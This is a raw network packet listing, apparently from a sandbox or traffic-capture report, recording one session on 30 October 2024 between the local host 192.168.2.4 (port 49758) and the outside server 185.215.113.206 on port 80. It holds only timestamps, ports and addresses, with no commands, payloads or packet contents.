Oct 30, 2024 20:13:29.825741053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825752974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825753927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825769901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825778961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825786114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825797081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825800896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825815916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825829029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825830936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825848103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825862885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825864077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825864077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825877905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825891018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825895071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825910091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825911999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.825918913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.825947046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.826138020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826153994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826174974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.826271057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826271057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.826287031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826301098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826312065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.826316118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826324940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.826329947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826344967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826354027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.826359987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826375961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826379061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.826390028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826404095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.826405048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826420069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.826427937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.826445103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.826466084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.827146053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.827162027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.827176094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.827184916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.827192068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.827199936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.827204943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.827224016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.827244043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946032047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946052074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946068048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946104050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946127892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946131945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946142912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946158886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946170092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946176052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946182966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946202040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946212053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946404934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946419954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946451902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946461916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946470022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946485043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946501017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946506023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946516037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946523905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946532965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.946541071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946552038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.946566105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947105885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947122097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947135925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947148085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947150946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947160959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947165012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947176933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947180033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947190046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947196007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947206020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947216034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947235107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947235107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947237968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947252989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947267056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947271109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947283983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947288036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.947293043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947307110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.947320938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.948050976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948065996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948080063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948096991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948105097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.948112011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948127031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948134899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.948142052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948153973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.948157072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948172092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948179007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.948187113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948201895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948203087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.948216915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.948225975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.948251009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.949018955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949034929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949049950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949062109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.949064970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949080944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949088097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.949095964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949110985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949111938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.949125051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.949132919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949150085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949156046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.949166059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949172020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.949182034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949183941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.949197054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.949201107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.949215889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.949228048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.949985027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950010061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950025082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950041056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950051069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.950057030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950072050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950074911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.950088024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950097084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.950105906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950114965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.950122118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950134039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.950136900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950145960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.950153112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950162888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.950170040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950174093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.950182915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950196028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.950205088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.950222969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:29.950800896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950817108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:29.950855970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.067843914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.067874908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.067888975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068007946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068021059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068038940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068053007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068067074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068073034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.068073988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.068073988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.068110943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.068319082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068331957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068368912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.068447113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068464041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068484068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.068490982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068505049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068511963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.068526983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.068543911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.068826914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068839073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068850040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068861961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068873882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068883896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.068886042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068897009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.068917990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.068933010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.069467068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.069479942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.069489956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.069502115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.069514036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.069523096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.069525957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.069536924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.069545031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.069549084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.069559097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.069571972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.069576025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.069596052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.069608927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.070100069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070111990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070122004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070132971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070144892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070156097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070168972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070180893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070189953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.070199966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070210934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070221901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.070223093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070235014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.070239067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.070266008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.071068048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071080923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071090937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071101904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071115017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071122885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.071125031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071136951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071139097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.071150064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071158886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.071161985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071172953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.071175098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071186066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071197987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071206093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.071209908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.071233034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.071250916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.072027922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072040081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072051048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072062969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072072983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072074890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.072084904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072091103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072098017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072103024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072113991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.072113991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072128057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072137117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.072139978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072149992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072154999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.072160959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.072174072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.072201967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.190740108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.190758944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.190772057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.190843105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.190855026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.190867901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.190870047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.190911055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.191026926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191039085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191051006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191077948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.191093922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.191257954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191272974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191284895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191310883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.191330910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.191495895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191509008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191519976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191544056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.191546917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191559076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191565990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.191570044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191582918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191595078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.191596031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.191622019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.191633940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.192146063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192157984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192167997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192181110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192192078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192194939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.192203999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192215919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192223072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.192226887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192240000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.192255020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.192275047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.192687035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192698956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192709923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192723036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192732096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.192734957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192747116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192756891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.192763090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192775011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.192785978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.192817926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.193337917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.193348885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.193360090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.193371058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.193381071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.193382978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.193393946 CET	80	49758	185.215.113.206	192.168.2.4
